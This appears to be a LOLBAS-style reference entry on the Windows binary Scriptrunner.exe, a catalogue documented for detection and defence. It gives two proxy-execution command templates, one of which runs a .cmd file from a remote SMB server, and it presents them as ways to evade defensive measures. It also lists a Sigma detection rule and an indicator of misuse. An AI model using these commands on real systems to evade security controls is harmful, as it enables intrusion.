Scriptrunner.exe

Commands

1. ExecuteUser T1202

   Execute binary through proxy binary to evade defensive counter measures

   Scriptrunner.exe -appvscript {PATH:.exe}

   Executes executable

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: EXE

2. ExecuteUser T1218

   Execute binary through proxy binary from external server to evade defensive counter measures

   ScriptRunner.exe -appvscript {PATH_SMB:.cmd}

   Executes cmd file from remote server

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: RemoteExecute: CMD

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml
• IOCScriptrunner.exe should not be in use unless App-v is deployed

Resources

• https://twitter.com/KyleHanslovan/status/914800377580503040
• https://twitter.com/NickTyrer/status/914234924655312896
• https://github.com/MoooKitty/Code-Execution